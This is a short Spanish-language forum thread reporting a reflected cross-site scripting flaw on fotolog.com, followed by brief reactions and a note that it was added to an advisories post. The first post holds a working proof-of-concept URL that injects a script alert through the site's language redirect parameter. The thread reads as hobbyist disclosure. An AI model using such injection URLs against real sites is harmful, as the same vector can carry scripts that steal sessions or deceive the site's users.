XSS encontrado en fotolog.com

[fede_cp]

Así es, justo llendome a dorimir, hago un pruebita para ver si fotolog tenia algunas restricciones de caracteres: pero me encontre en una que no las tenia.

y bueno aqui esta:

http://account.fotolog.com/language?redirect=%22%3E%3Cscript%3Ealert%28%22XSS%20encontrado%20por%20fede_cp%22%29%3C/script%3E


saludos!

[Darioxhcx]

jajaj que groso...
yo estuve buscando en wap fotolog , pero nada... XD..
obviamente en mis tiempo de aburrimiento xD
saludos

[Castg!]

genial! jajaj, tambien hace unos meses no me acuerdo uqien, en no me acuerdo que parte, habia encontrado uno. era que pasabas el mouse yt salta el mensaje.

[WHK]

Agregado al post de advisories